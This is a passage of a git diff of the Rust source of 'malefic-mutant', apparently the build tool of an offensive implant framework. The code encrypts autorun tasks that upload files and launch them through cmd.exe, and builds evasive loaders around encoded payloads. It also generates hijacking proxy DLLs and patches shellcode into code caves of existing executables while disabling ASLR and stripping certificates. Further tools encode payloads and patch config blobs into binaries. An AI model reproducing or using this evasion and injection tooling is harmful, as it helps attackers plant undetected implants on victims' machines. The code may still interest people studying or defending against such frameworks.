parse_yaml_with_tag(yaml_str); + + let mut spites = Vec::new(); + let mut regular_modules = Vec::new(); + let mut third_modules = Vec::new(); + + for wrapper in spites_wrappers { + if let Some(body) = wrapper.body { + spites.push(Spite { + name: wrapper.name.clone(), + task_id: wrapper.task_id, + r#async: wrapper.r#async, + timeout: wrapper.timeout, + error: wrapper.error, + status: wrapper.status, + body: Some(body), + }); + + // Get features: use depend_on if specified, otherwise fall back to name + let features = wrapper + .depend_on + .map(|d| d.into_vec()) + .unwrap_or_else(|| vec![wrapper.name]); + + // Classify and collect module features + let module_list = if wrapper.third { + &mut third_modules + } else { + &mut regular_modules + }; + + for feature in features { + if !module_list.contains(&feature) { + module_list.push(feature); + } + } + } + } + + ParsedSpites { + spites, + regular_modules, + third_modules, + } +} + +/// Update prelude spites and corresponding Cargo.toml files +pub fn update_prelude_spites( + parsed: ParsedSpites, + resources: &str, + key: &str, + output: &str, +) -> Result<()> { + let base_filepath = Path::new(resources); + + log_info!( + "Detected regular modules from prelude: {:?}", + parsed.regular_modules + ); + log_info!( + "Detected 3rd modules from prelude: {:?}", + parsed.third_modules + ); + + // Encode, compress, and encrypt spites + let data = encode(Spites { + spites: parsed.spites, + })?; + let compressed = compress(&data)?; + let iv: Vec = key.as_bytes().iter().rev().copied().collect(); + let mut cryptor = new_cryptor(key.as_bytes().to_vec(), iv); + let encrypted = cryptor.encrypt(compressed)?; + + // Write encrypted data to file + let spite_path = base_filepath.join(output); + let mut file = fs::File::create(&spite_path)?; + file.write_all(&encrypted)?; + + log_success!("Data successfully written to {:?}", spite_path); + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::parse_yaml; + + #[test] + fn parse_yaml_collects_regular_and_third_party_features() { + let yaml = r#" +- name: pwd + body: !Request + name: pwd +- name: bof + depend_on: + - execute_bof + - execute_local + body: !Request + name: bof +- name: pty + third: true + depend_on: pty + body: !PtyRequest + command: "cmd.exe" +"#; + + let parsed = parse_yaml(yaml); + + assert_eq!( + parsed.regular_modules, + vec![ + "pwd".to_string(), + "execute_bof".to_string(), + "execute_local".to_string() + ] + ); + assert_eq!(parsed.third_modules, vec!["pty".to_string()]); + assert_eq!(parsed.spites.len(), 3); + } + + #[test] + fn depend_on_overrides_name_and_deduplicates_features() { + let yaml = r#" +- name: execute + depend_on: + - exec + - exec + body: !Request + name: execute +"#; + + let parsed = parse_yaml(yaml); + + assert_eq!(parsed.regular_modules, vec!["exec".to_string()]); + assert!(parsed.third_modules.is_empty()); + } +} diff --git a/malefic-mutant/src/generate/config_metadata.rs b/malefic-mutant/src/generate/resources.rs similarity index 92% rename from malefic-mutant/src/generate/config_metadata.rs rename to malefic-mutant/src/generate/resources.rs index fcb8bf3..ff5d814 100644 --- a/malefic-mutant/src/generate/config_metadata.rs +++ b/malefic-mutant/src/generate/resources.rs @@ -5,15 +5,17 @@ use std::fs::{self, File}; use std::io::Write; use std::path::Path; -pub fn update_resources(metadata: &MetaData) { +pub fn update_resources(metadata: &MetaData, metadata_wordlist: Option<&str>) { + let mut metadata = metadata.clone(); + metadata.resolve_random(metadata_wordlist); log_step!("Updating resource configuration..."); let base_filepath = Path::new(RESOURCES_DIR); let resource_filepath = base_filepath.join("malefic.rc"); - // 生æˆRC文件内容 + // Generate RC file content let mut rc_content = String::new(); - // å¦‚æžœéœ€è¦æƒé™ï¼Œå…ˆç”Ÿæˆmanifest + // If permissions are required, generate manifest first if metadata.require_admin || metadata.require_uac { log_info!("Generating manifest file for elevated privileges"); let mut manifest = String::new(); @@ -43,7 +45,7 @@ pub fn update_resources(metadata: &MetaData) { "#, ); - // å°†manifest写入文件 + // Write manifest to file let manifest_path = base_filepath.join("app.manifest"); fs::write(&manifest_path, manifest).expect("Failed to write manifest file"); log_success!( @@ -54,12 +56,12 @@ pub fn update_resources(metadata: &MetaData) { rc_content.push_str("1 24 \"app.manifest\"\n\n"); } - // 添加图标 + // Add icon if !metadata.icon.is_empty() { rc_content.push_str(&format!("1 ICON \"{}\"\n", metadata.icon)); } - // æ·»åŠ ç‰ˆæœ¬ä¿¡æ¯ + // Add version information rc_content.push_str("#define VER_FILEVERSION 1,0,0,0\n"); rc_content.push_str("#define VER_FILEVERSION_STR \"1.0.0.0\"\n"); rc_content.push_str("#define VER_PRODUCTVERSION 1,0,0,0\n"); @@ -79,7 +81,7 @@ pub fn update_resources(metadata: &MetaData) { rc_content.push_str(" BLOCK \"040904E4\"\n"); rc_content.push_str(" BEGIN\n"); - // 定义所有å¯èƒ½çš„版本信æ¯å­—段 + // Define all possible version information fields let version_fields = if !metadata.compile_time.is_empty() { vec![ ("Comments", metadata.compile_time.clone()), @@ -116,7 +118,7 @@ pub fn update_resources(metadata: &MetaData) { ] }; - // 添加éžç©ºçš„字段 + // Add non-empty fields for (field_name, field_value) in version_fields.iter() { if !field_value.is_empty() { rc_content.push_str(&format!( @@ -134,7 +136,7 @@ pub fn update_resources(metadata: &MetaData) { rc_content.push_str(" END\n"); rc_content.push_str("END\n"); - // 写入RC文件 + // Write RC file let mut file = File::create(&resource_filepath).expect("Failed to create resource file"); file.write_all(rc_content.as_bytes()) .expect("Failed to write resource file"); diff --git a/malefic-mutant/src/generate/spites.rs b/malefic-mutant/src/generate/spites.rs new file mode 100644 index 0000000..34caddf --- /dev/null +++ b/malefic-mutant/src/generate/spites.rs @@ -0,0 +1,114 @@ +use crate::config::ImplantConfig; +use crate::generate::prelude::{parse_yaml, update_prelude_spites}; +use crate::{log_info, log_step, log_success}; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::Spite; +use std::fs; +use std::path::Path; + +/// Helper function to add a module to the list if not already present +fn add_module_if_missing(modules: &mut Vec, module_name: &str) { + if !modules.contains(&module_name.to_string()) { + modules.push(module_name.to_string()); + } +} + +/// Helper function to create a default Spite structure +fn create_spite(name: &str, body: Body) -> Spite { + Spite { + name: name.to_string(), + task_id: 0, + r#async: false, + timeout: 0, + error: 0, + status: None, + body: Some(body), + } +} + +pub fn update_malefic_spites( + implant_config: &ImplantConfig, + key: &str, + source: bool, +) -> anyhow::Result<()> { + let has_pack = implant_config + .pack + .as_ref() + .map_or(false, |p| !p.is_empty()); + + if implant_config.prelude.is_empty() && !has_pack { + return Ok(()); + } + + log_step!("Generating malefic spites..."); + + // Load prelude configuration or create empty ParsedSpites + let mut parsed = if !implant_config.prelude.is_empty() { + log_info!( + "Loading autorun configuration from {}", + implant_config.prelude + ); + let autorun_yaml = fs::read_to_string(&implant_config.prelude)?; + parse_yaml(&autorun_yaml) + } else { + use crate::generate::prelude::ParsedSpites; + ParsedSpites { + spites: Vec::new(), + regular_modules: Vec::new(), + third_modules: Vec::new(), + } + }; + + // Process pack resources + if let Some(pack_resources) = &implant_config.pack { + let resources_path = Path::new("./resources"); + + for pack in pack_resources { + let pack_file = resources_path.join(&pack.src); + if !pack_file.exists() { + continue; + } + + // Create upload spite + let file_data = fs::read(&pack_file).expect("Failed to read resource file"); + let upload_request = + Body::UploadRequest(malefic_proto::proto::modulepb::UploadRequest { + name: String::new(), + r#priv: 0o644, + hidden: false, + r#override: false, + target: pack.dst.clone(), + data: file_data, + }); + parsed.spites.push(create_spite("upload", upload_request)); + add_module_if_missing(&mut parsed.regular_modules, "upload"); + + // Create exec spite + let exec_request = Body::ExecRequest(malefic_proto::proto::modulepb::ExecRequest { + path: "cmd.exe".to_string(), + ppid: 0, + args: vec![ + "/C".to_string(), + "start".to_string(), + String::new(), + pack.dst.clone(), + ], + output: false, + singleton: true, + realtime: false, + }); + parsed.spites.push(create_spite("exec", exec_request)); + add_module_if_missing(&mut parsed.regular_modules, "exec"); + } + } + + if !parsed.regular_modules.is_empty() { + super::cargo_features::update_module_toml(&parsed.regular_modules, source); + } + if !parsed.third_modules.is_empty() { + super::cargo_features::update_3rd_toml(&parsed.third_modules); + } + update_prelude_spites(parsed, "./resources", key, "spite.bin")?; + log_success!("Malefic spites have been generated successfully"); + Ok(()) +} diff --git a/malefic-mutant/src/logger.rs b/malefic-mutant/src/logger.rs index 8962983..642040f 100644 --- a/malefic-mutant/src/logger.rs +++ b/malefic-mutant/src/logger.rs @@ -2,9 +2,13 @@ use chrono::Local; use colored::*; use log::{Level, LevelFilter, Metadata, Record}; -pub fn init() { +pub fn init(debug: bool) { log::set_logger(&MutantLogger).unwrap(); - log::set_max_level(LevelFilter::Info); + if debug { + log::set_max_level(LevelFilter::Debug); + } else { + log::set_max_level(LevelFilter::Info); + } } struct MutantLogger; @@ -77,3 +81,11 @@ macro_rules! log_step { log::info!("{} {}", "âš¡".cyan(), format!($($arg)*)) }} } + +#[macro_export] +macro_rules! log_debug { + ($($arg:tt)*) => {{ + use colored::Colorize; + log::debug!("{} {}", "·".dimmed(), format!($($arg)*)) + }} +} diff --git a/malefic-mutant/src/main.rs b/malefic-mutant/src/main.rs index dd79f28..604cd76 100644 --- a/malefic-mutant/src/main.rs +++ b/malefic-mutant/src/main.rs @@ -1,25 +1,22 @@ #[allow(deprecated)] -#[macro_use] -extern crate lazy_static; +use anyhow::Context; use clap::Parser; use cmd::SrdiType; -use generate::{ - update_beacon_config, update_bind_config, update_common_config, update_prelude_config, - update_pulse_config, -}; +use generate::{beacon, bind, prelude, pulse}; use build::*; use jsonschema::Validator; use serde_json::Value as JsonValue; use serde_yaml::Value as YamlValue; -use crate::build::payload::build_payload; +use crate::build::payload::{build_payload, BuildProfile}; use crate::cmd::{ - BuildCommands, Cli, Commands, GenerateCommands, PayloadType, SigForgeCommands, Tool, + BinderCommands, BuildCommands, Cli, Commands, GenerateCommands, IconCommands, PayloadType, + SigForgeCommands, Tool, WatermarkCommands, }; use crate::tool::sigforge::SignatureRemover; use config::{Implant, Version}; -use std::{fs, path::Path, process}; +use std::{fs, path::Path, process, time::Duration}; use strum_macros::{Display, EnumString}; mod build; @@ -39,23 +36,10 @@ pub enum Platform { Darwin, } -static CONFIG_INNER_TEMPLATE: &str = "inner_template"; -static CONFIG_PROFESSIONAL_TEMPLATE: &str = "professional_template"; -static CONFIG_SCHEMA: &str = include_str!("../../config_lint.json"); -static MALEFIC_WIN_KIT: &str = "malefic-win-kit"; -static CONFIG_MALEFIC_WIN_KIT_PATH: &str = "../malefic-win-kit"; +static CONFIG_SCHEMA: &str = include_str!("../config_lint.json"); -static CFG_TARGET_OS_WINDOWS: &str = "cfg(target_os = \"windows\")"; -static PATH: &str = "path"; -static TARGET: &str = "target"; static DEFAULT: &str = "default"; static FEATURES: &str = "features"; -static PREBUILD: &str = "prebuild"; -static SOURCE: &str = "source"; -static COMMUNITY: &str = "community"; -static PROFESSIONAL: &str = "professional"; -// static DEPENDENCES: &str = "dependences"; -static DEPENDENCICES: &str = "dependencies"; static RESOURCES_DIR: &str = "./resources/"; @@ -105,19 +89,29 @@ fn parse_generate( yaml_config: &mut Implant, config: &GenerateCommands, version: Version, + patch_mode: bool, source: bool, + metadata_wordlist: Option<&str>, ) -> anyhow::Result<()> { log_step!("Starting configuration generation..."); - update_common_config(yaml_config, &version, source); + + if patch_mode { + let build = yaml_config + .build + .as_mut() + .ok_or_else(|| anyhow::anyhow!("build configuration is required but not found"))?; + build.obfstr = false; + log_info!("Patch mode enabled: obfstr disabled, generate XOR blocks for patching"); + } let result = match config { GenerateCommands::Beacon => { log_info!("Generating beacon configuration"); - update_beacon_config(yaml_config) + beacon(yaml_config, &version, source, metadata_wordlist) } GenerateCommands::Bind => { log_info!("Generating bind configuration"); - update_bind_config(yaml_config) + bind(yaml_config, &version, source, metadata_wordlist) } GenerateCommands::Prelude { yaml_path: prelude_yaml_path, @@ -126,129 +120,342 @@ fn parse_generate( spite, } => { log_info!("Generating prelude configuration"); - update_prelude_config(yaml_config, prelude_yaml_path, resources, key, spite) + prelude( + yaml_config, + &version, + source, + prelude_yaml_path, + resources, + key, + spite, + metadata_wordlist, + ) } GenerateCommands::Modules { module } => { if !module.is_empty() { yaml_config.implants.modules = module.split(",").map(|x| x.to_string()).collect(); log_info!("Using modules: {:?}", yaml_config.implants.modules); } - update_beacon_config(yaml_config) + beacon(yaml_config, &version, source, metadata_wordlist) } GenerateCommands::Pulse { platform, arch } => { log_info!("Generating pulse configuration for {} {}", platform, arch); - update_pulse_config(source)?; + pulse(source)?; let pulse_config = yaml_config .pulse .clone() .ok_or_else(|| anyhow::anyhow!("pulse configuration is required but not found"))?; pulse_generate(pulse_config, *platform, *arch, version, source) } - GenerateCommands::ProxyDLL { - raw_dll, - proxied_dll, - proxy_dll, - hijacked_exports, - native_thread, - } => { - // Try to get config from yaml, command line args override config file - let proxydll_config = yaml_config - .loader - .as_ref() - .and_then(|l| l.proxydll.as_ref()); - - // Determine actual values (CLI args > config file) - let raw_dll_path = if !raw_dll.is_empty() { - raw_dll.clone() - } else if let Some(cfg) = proxydll_config { - cfg.raw_dll.clone() - } else { - return Err(anyhow::anyhow!( - "raw_dll is required (use -r or configure in yaml)" - )); - }; - - let proxied_dll_path = if !proxied_dll.is_empty() { - proxied_dll.clone() - } else if let Some(cfg) = proxydll_config { - cfg.proxied_dll.clone() - } else { - return Err(anyhow::anyhow!( - "proxied_dll is required (use -p or configure in yaml)" - )); - }; - - // Proxy DLL name: CLI > config > extract from proxied_dll - let proxy_dll_name = if let Some(out) = proxy_dll { - out.clone() - } else if let Some(cfg) = proxydll_config { - cfg.proxy_dll.clone().unwrap_or_else(|| { - std::path::Path::new(&cfg.proxied_dll) - .file_name() - .and_then(|n| n.to_str()) - .unwrap_or(&cfg.proxied_dll) - .to_string() - }) - } else { - std::path::Path::new(&proxied_dll_path) - .file_name() - .and_then(|n| n.to_str()) - .unwrap_or(&proxied_dll_path) - .to_string() - }; - - let hijacked_funcs = if !hijacked_exports.is_empty() { - hijacked_exports.clone() - } else if let Some(cfg) = proxydll_config { - cfg.proxyfunc.clone() - } else { - String::new() - }; - - let use_native_thread = - *native_thread || proxydll_config.map_or(false, |c| c.native_thread); - let use_block = proxydll_config.map_or(false, |c| c.block); - let _resource_dir = proxydll_config - .map(|c| c.resource_dir.clone()) - .unwrap_or_else(|| "resources/proxydll".to_string()); - let _pack_resources = proxydll_config.map_or(false, |c| c.pack_resources); - - // Use implant.prelude configuration to determine if prelude should be enabled - // Clone the prelude path to avoid borrow issues - let prelude_path = yaml_config.implants.prelude.clone(); - let use_prelude = !prelude_path.is_empty(); - - // Generate spites if prelude is configured - if use_prelude { - log_step!("Generating spites for ProxyDLL prelude..."); - update_prelude_config( - yaml_config, - &prelude_path, - "resources", - "maliceofinternal", - "spite.bin", - )?; - } - - log_info!("Generating ProxyDLL for {}", raw_dll_path); - let exports: Vec<&str> = if hijacked_funcs.is_empty() { - Vec::new() - } else { - hijacked_funcs.split(',').map(|s| s.trim()).collect() - }; - - // Generate the proxy DLL - tool::proxydll::generator::update_proxydll( - &raw_dll_path, - &proxied_dll_path, - &proxy_dll_name, - &exports, - use_native_thread, - use_block, - use_prelude, - )?; - - Ok(()) + GenerateCommands::Loader { command } => { + use crate::cmd::LoaderCommands; + match command { + LoaderCommands::Template { + template, + list, + input, + encoding, + debug, + } => { + use crate::tool::loader::template::{TemplateLoader, LOADER_NAMES}; + + if *list { + log_info!("Available loader templates:"); + for name in LOADER_NAMES { + println!(" {}", name); + } + return Ok(()); + } + + let mut loader = if template == "random" { + log_info!("Using random template selection"); + TemplateLoader::random() + } else { + TemplateLoader::with_template(template) + }; + + loader = loader.with_debug(*debug); + + if let Some(evader) = yaml_config.loader.as_ref().and_then(|l| l.evader.clone()) + { + loader = loader.with_evader(evader); + } + + if let Some(enc) = encoding { + let input_path = input.as_ref().ok_or_else(|| { + anyhow::anyhow!("--input is required when --encoding is specified") + })?; + + let payload_data = std::fs::read(input_path).map_err(|e| { + anyhow::anyhow!("Failed to read payload '{}': {}", input_path, e) + })?; + log_info!( + "Read {} bytes payload from {}", + payload_data.len(), + input_path + ); + + use crate::tool::encoder::{self, EncodingType}; + let enc_type = EncodingType::from_str(enc)?; + log_step!("Encoding payload with: {}", enc_type); + let result = encoder::encode_payload(&payload_data, &enc_type)?; + + let enc_data = if !result.strings.is_empty() { + result.strings.join("\n").into_bytes() + } else { + result.encoded.clone() + }; + + TemplateLoader::write_payload(&enc_data, &result.key, &result.extra)?; + log_info!( + "Encoded payload written to malefic-loader/generated/ ({} bytes)", + enc_data.len() + ); + + loader = loader.with_encoding(enc); + } else { + TemplateLoader::clear_payload()?; + } + + loader = loader.with_debug(*debug); + + log_step!( + "Building loader with template: {}{}{}", + loader.get_template(), + loader + .encoding + .as_ref() + .map(|e| format!(" + encoding: {}", e)) + .unwrap_or_default(), + if *debug { " [debug]" } else { "" } + ); + let path = loader.build(true, "x86_64-pc-windows-gnu")?; + log_success!("Loader built: {}", path.display()); + Ok(()) + } + LoaderCommands::ProxyDll { + raw_dll, + proxied_dll, + proxy_dll, + hijacked_exports, + native_thread, + hijack_dll_main, + } => { + // Try to get config from yaml, command line args override config file + let proxydll_config = yaml_config + .loader + .as_ref() + .and_then(|l| l.proxydll.as_ref()); + + // Determine actual values (CLI args > config file) + let raw_dll_path = if !raw_dll.is_empty() { + raw_dll.clone() + } else if let Some(cfg) = proxydll_config { + cfg.raw_dll.clone() + } else { + return Err(anyhow::anyhow!( + "raw_dll is required (use -r or configure in yaml)" + )); + }; + + let proxied_dll_path = if !proxied_dll.is_empty() { + proxied_dll.clone() + } else if let Some(cfg) = proxydll_config { + cfg.proxied_dll.clone() + } else { + return Err(anyhow::anyhow!( + "proxied_dll is required (use -p or configure in yaml)" + )); + }; + + // Proxy DLL name: CLI > config > extract from proxied_dll + let proxy_dll_name = if let Some(out) = proxy_dll { + out.clone() + } else if let Some(cfg) = proxydll_config { + cfg.proxy_dll.clone().unwrap_or_else(|| { + std::path::Path::new(&cfg.proxied_dll) + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or(&cfg.proxied_dll) + .to_string() + }) + } else { + std::path::Path::new(&proxied_dll_path) + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or(&proxied_dll_path) + .to_string() + }; + + let hijacked_funcs = if !hijacked_exports.is_empty() { + hijacked_exports.clone() + } else if let Some(cfg) = proxydll_config { + cfg.proxyfunc.clone() + } else { + String::new() + }; + + let use_native_thread = + *native_thread || proxydll_config.map_or(false, |c| c.native_thread); + let use_block = proxydll_config.map_or(false, |c| c.block); + let _resource_dir = proxydll_config + .map(|c| c.resource_dir.clone()) + .unwrap_or_else(|| "resources/proxydll".to_string()); + let _pack_resources = proxydll_config.map_or(false, |c| c.pack_resources); + let hijack_dllmain = + *hijack_dll_main || proxydll_config.map_or(false, |c| c.hijack_dllmain); + + // Use implant.prelude configuration to determine if prelude should be enabled + // Clone the prelude path to avoid borrow issues + let prelude_path = yaml_config.implants.prelude.clone(); + let use_prelude = !prelude_path.is_empty(); + + // Generate spites if prelude is configured + if use_prelude { + log_step!("Generating spites for ProxyDLL prelude..."); + prelude( + yaml_config, + &version, + source, + &prelude_path, + "resources", + "maliceofinternal", + "spite.bin", + None, + )?; + } + + log_info!("Generating ProxyDLL for {}", raw_dll_path); + let exports: Vec<&str> = if hijacked_funcs.is_empty() { + Vec::new() + } else { + hijacked_funcs.split(',').map(|s| s.trim()).collect() + }; + + // Generate the proxy DLL + tool::proxydll::generator::update_proxydll( + &raw_dll_path, + &proxied_dll_path, + &proxy_dll_name, + &exports, + use_native_thread, + use_block, + use_prelude, + hijack_dllmain, + )?; + + Ok(()) + } + LoaderCommands::Patch { + file, + input, + output, + find_caves, + add_section, + section_name, + min_cave, + no_disable_aslr, + no_zero_cert, + wait, + technique, + stub_hash, + stub_poly, + stub_encrypt, + evasion, + seed, + } => { + use crate::tool::loader::bdf::evasion::{ + HashAlgorithm, PolyLevel, StubEvasion, + }; + use crate::tool::loader::bdf::pe::{ExecutionTechnique, ThreadWait}; + use crate::tool::loader::PatchLoader; + + let thread_wait = if wait == "wait" { + ThreadWait::WaitInfinite + } else if let Some(secs) = wait.strip_prefix("sleep:") { + let n: u32 = secs.parse().map_err(|_| { + anyhow::anyhow!( + "Invalid sleep seconds '{}', expected e.g. 'sleep:5'", + secs + ) + })?; + ThreadWait::Sleep(n) + } else { + ThreadWait::None + }; + + let exec_technique = ExecutionTechnique::from_str(technique)?; + + // Build evasion config: preset first, then individual flags override + let mut stub_evasion = StubEvasion::from_preset(evasion)?; + if stub_hash != "ror13" { + stub_evasion.hash_algorithm = HashAlgorithm::from_str(stub_hash)?; + } + if *stub_poly { + stub_evasion.poly_level = PolyLevel::Full; + } + if *stub_encrypt { + stub_evasion.encrypt = true; + } + if *seed != 0 { + stub_evasion.seed = *seed; + } + + let loader = PatchLoader { + target_binary: Some(file.clone()), + add_section: *add_section, + section_name: section_name.clone(), + min_cave_size: *min_cave, + disable_aslr: !*no_disable_aslr, + zero_cert: !*no_zero_cert, + thread_wait, + execution_technique: exec_technique, + evasion: stub_evasion, + }; + + if *find_caves { + let caves = loader.find_caves()?; + if caves.is_empty() { + log_info!( + "No suitable code caves found (min size: {} bytes)", + min_cave + ); + } else { + log_info!( + "Found {} code cave(s) (min size: {} bytes):", + caves.len(), + min_cave + ); + for (i, cave) in caves.iter().enumerate() { + println!( + " {}. Section: {:8} | FileOff: 0x{:08X} | VA: 0x{:08X} | Size: {} bytes", + i + 1, cave.section_name, cave.start, cave.virtual_address, cave.size + ); + } + } + return Ok(()); + } + + let shellcode = { + let input_path = input.as_ref().ok_or_else(|| { + anyhow::anyhow!("--input (-i) is required for patching") + })?; + std::fs::read(input_path).map_err(|e| { + anyhow::anyhow!("Failed to read shellcode '{}': {}", input_path, e) + })? + }; + + let patched = loader.patch(&shellcode)?; + + let output_path = output + .clone() + .unwrap_or_else(|| format!("{}.patched", file)); + std::fs::write(&output_path, &patched)?; + log_success!("Patched -> {} ({} bytes)", output_path, patched.len()); + + Ok(()) + } + } } }; @@ -258,17 +465,31 @@ fn parse_generate( result } -fn parse_build(config: &mut Implant, build: &BuildCommands, target: &String) -> anyhow::Result<()> { +fn parse_build( + config: &mut Implant, + build: &BuildCommands, + target: &String, + build_lib: bool, + dev_build: bool, +) -> anyhow::Result<()> { let build_config = config .build .as_mut() .ok_or_else(|| anyhow::anyhow!("build configuration is required but not found"))?; + let profile = BuildProfile::from_dev(dev_build); let result = match build { - BuildCommands::Malefic => build_payload(build_config, &PayloadType::MALEFIC, target, None), + BuildCommands::Malefic => build_payload( + build_config, + &PayloadType::MALEFIC, + target, + None, + build_lib, + profile, + ), BuildCommands::Modules { module } => { use crate::generate::update_module_toml; - // 1. åˆ¤æ–­å‘½ä»¤è¡Œå‚æ•°æ˜¯å¦ä¸ºç©ºï¼Œå†³å®šç”¨ config 还是命令行 + // 1. Check if command line argument is empty, decide whether to use config or command line let mut modules: Vec = Vec::new(); if !module.is_empty() { modules.extend(module.split(',').map(|s| s.trim().to_string())); @@ -276,14 +497,21 @@ fn parse_build(config: &mut Implant, build: &BuildCommands, target: &String) -> } else { modules = config.implants.modules.clone(); } - // 2. æ›´æ–° features 到 toml - update_module_toml(&modules); - // 3. 编译 malefic-modules - build_payload(build_config, &PayloadType::MODULES, target, Some(&modules)) + // 2. Update features to toml + update_module_toml(&modules, true); + // 3. Compile malefic-modules + build_payload( + build_config, + &PayloadType::MODULES, + target, + Some(&modules), + build_lib, + profile, + ) } BuildCommands::Modules3rd { module } => { use crate::generate::update_3rd_toml; - // 1. åˆ¤æ–­å‘½ä»¤è¡Œå‚æ•°æ˜¯å¦ä¸ºç©ºï¼Œå†³å®šç”¨ config 还是命令行 + // 1. Check if command line argument is empty, decide whether to use config or command line let mut third_modules: Vec = Vec::new(); if !module.is_empty() { third_modules.extend(module.split(',').map(|s| s.trim().to_string())); @@ -291,20 +519,76 @@ fn parse_build(config: &mut Implant, build: &BuildCommands, target: &String) -> } else { third_modules = config.implants.third_modules.clone(); } - third_modules.push("as_cdylib".to_string()); + third_modules.push("as_module_dll".to_string()); update_3rd_toml(&third_modules); build_payload( build_config, &PayloadType::THIRD, target, Some(&third_modules), + build_lib, + profile, ) } - BuildCommands::Pulse => build_payload(build_config, &PayloadType::PULSE, target, None), - BuildCommands::Prelude => build_payload(build_config, &PayloadType::PRELUDE, target, None), - BuildCommands::ProxyDll => { - build_payload(build_config, &PayloadType::PROXYDLL, target, None) + BuildCommands::Pulse { shellcode } => { + let mut extra_features = Vec::new(); + if *shellcode { + extra_features.push("shellcode".to_string()); + } + let features = if extra_features.is_empty() { + None + } else { + Some(&extra_features) + }; + // shellcode always builds as bin (never lib) + let pulse_lib = if *shellcode { false } else { build_lib }; + build_payload( + build_config, + &PayloadType::PULSE, + target, + features, + pulse_lib, + profile, + )?; + + // Post-process: extract .text section as raw shellcode + if *shellcode { + let exe_path = format!( + "target/{}/{}/malefic-pulse.exe", + target, + profile.output_dir() + ); + let bin_path = format!( + "target/{}/{}/malefic-pulse.bin", + target, + profile.output_dir() + ); + use crate::tool::pe::PEObjCopy; + PEObjCopy::extract_binary(&exe_path, &bin_path)?; + log_success!( + "Pulse shellcode: {} ({} bytes)", + bin_path, + std::fs::metadata(&bin_path).map(|m| m.len()).unwrap_or(0) + ); + } + Ok(()) } + BuildCommands::Prelude => build_payload( + build_config, + &PayloadType::PRELUDE, + target, + None, + build_lib, + profile, + ), + BuildCommands::ProxyDll => build_payload( + build_config, + &PayloadType::PROXYDLL, + target, + None, + build_lib, + profile, + ), }; result } @@ -427,7 +711,6 @@ fn parse_tool(tool: &Tool) -> anyhow::Result<()> { } result } - Tool::SigForge { command } => parse_sigforge(command), Tool::Patch { file, name, @@ -513,6 +796,181 @@ fn parse_tool(tool: &Tool) -> anyhow::Result<()> { } Ok(()) } + Tool::PatchConfig { + file, + config, + from_implant, + blob, + output, + } => { + use crate::tool::patch::{patch_config_blob, ConfigBlobPatchOptions}; + use malefic_config::{encode_runtime_config, CONFIG_BLOB_B64_LEN}; + + log_step!("Patching runtime config blob in {}", file); + + let blob_str = if let Some(b64) = blob { + normalize_blob_string(b64, CONFIG_BLOB_B64_LEN)? + } else { + let cfg = if let Some(path) = from_implant.as_ref() { + let implant = load_yaml_config(path)?; + convert_implant_to_runtime_config(&implant)? + } else { + let cfg_path = config + .as_ref() + .ok_or_else(|| anyhow::anyhow!("--config or --blob must be provided"))?; + load_runtime_config_from_file(cfg_path)? + }; + let encoded = encode_runtime_config(&cfg) + .map_err(|e| anyhow::anyhow!("encode_runtime_config failed: {:?}", e))?; + encoded + }; + + let opts = ConfigBlobPatchOptions { + file: file.clone(), + blob_b64: blob_str, + blob_len: CONFIG_BLOB_B64_LEN, + output: output.clone(), + }; + + let outcome = patch_config_blob(&opts)?; + let overwritten = outcome.output_path == std::path::PathBuf::from(file); + + log_success!( + "Patched runtime config blob at offset 0x{:X} ({} decimal)", + outcome.offset, + outcome.offset + ); + if overwritten { + log_info!("Original file overwritten in-place"); + } else { + log_info!("Patched file written to {}", outcome.output_path.display()); + } + Ok(()) + } + Tool::Encode { + input, + encoding, + output, + format, + list, + } => { + use crate::tool::encoder::{self, EncodingType, OutputFormat, ENCODING_NAMES}; + + if *list { + log_info!("Available encodings:"); + for name in ENCODING_NAMES { + println!(" {}", name); + } + return Ok(()); + } + + let input_path = input + .as_ref() + .ok_or_else(|| anyhow::anyhow!("Input file is required (use -i )"))?; + + let data = std::fs::read(input_path).map_err(|e| { + anyhow::anyhow!("Failed to read input file '{}': {}", input_path, e) + })?; + log_info!("Read {} bytes from {}", data.len(), input_path); + + let enc_type = EncodingType::from_str(encoding)?; + let out_fmt = OutputFormat::from_str(format)?; + + log_step!("Encoding with: {}", enc_type); + let result = encoder::encode_payload(&data, &enc_type)?; + + let base_path = output + .clone() + .unwrap_or_else(|| format!("{}.encoded", input_path)); + + match out_fmt { + OutputFormat::Bin => { + std::fs::write(&base_path, &result.encoded)?; + log_success!("Encoded payload written to: {}", base_path); + + if !result.key.is_empty() { + let key_path = format!("{}.key", base_path); + std::fs::write(&key_path, &result.key)?; + log_info!("Key written to: {}", key_path); + } + if !result.extra.is_empty() { + let extra_path = format!("{}.extra", base_path); + std::fs::write(&extra_path, &result.extra)?; + log_info!("Extra material (nonce/IV) written to: {}", extra_path); + } + } + OutputFormat::C | OutputFormat::Rust => { + let formatted = encoder::format_output(&result, &enc_type, &out_fmt); + if output.is_some() { + std::fs::write(&base_path, &formatted)?; + log_success!("Output written to: {}", base_path); + } else { + println!("{}", formatted); + } + } + OutputFormat::All => { + let stem = std::path::Path::new(&base_path) + .file_stem() + .and_then(|s| s.to_str()) + .unwrap_or(&base_path); + let parent = std::path::Path::new(&base_path) + .parent() + .unwrap_or(std::path::Path::new(".")); + + let bin_path = parent.join(format!("{}.bin", stem)); + std::fs::write(&bin_path, &result.encoded)?; + log_success!("Binary written to: {}", bin_path.display()); + + if !result.key.is_empty() { + let key_path = parent.join(format!("{}.key", stem)); + std::fs::write(&key_path, &result.key)?; + log_info!("Key written to: {}", key_path.display()); + } + if !result.extra.is_empty() { + let extra_path = parent.join(format!("{}.extra", stem)); + std::fs::write(&extra_path, &result.extra)?; + log_info!("Extra material written to: {}", extra_path.display()); + } + + let c_path = parent.join(format!("{}.c", stem)); + let c_output = encoder::format_output(&result, &enc_type, &OutputFormat::C); + std::fs::write(&c_path, &c_output)?; + log_success!("C output written to: {}", c_path.display()); + + let rs_path = parent.join(format!("{}.rs", stem)); + let rs_output = encoder::format_output(&result, &enc_type, &OutputFormat::Rust); + std::fs::write(&rs_path, &rs_output)?; + log_success!("Rust output written to: {}", rs_path.display()); + } + } + + log_success!( + "Encoding complete ({}, {} bytes -> {} bytes)", + enc_type, + data.len(), + result.encoded.len() + ); + Ok(()) + } + Tool::Entropy { + input, + output, + threshold, + strategy, + max_growth, + measure_only, + } => parse_entropy( + input, + output.as_deref(), + 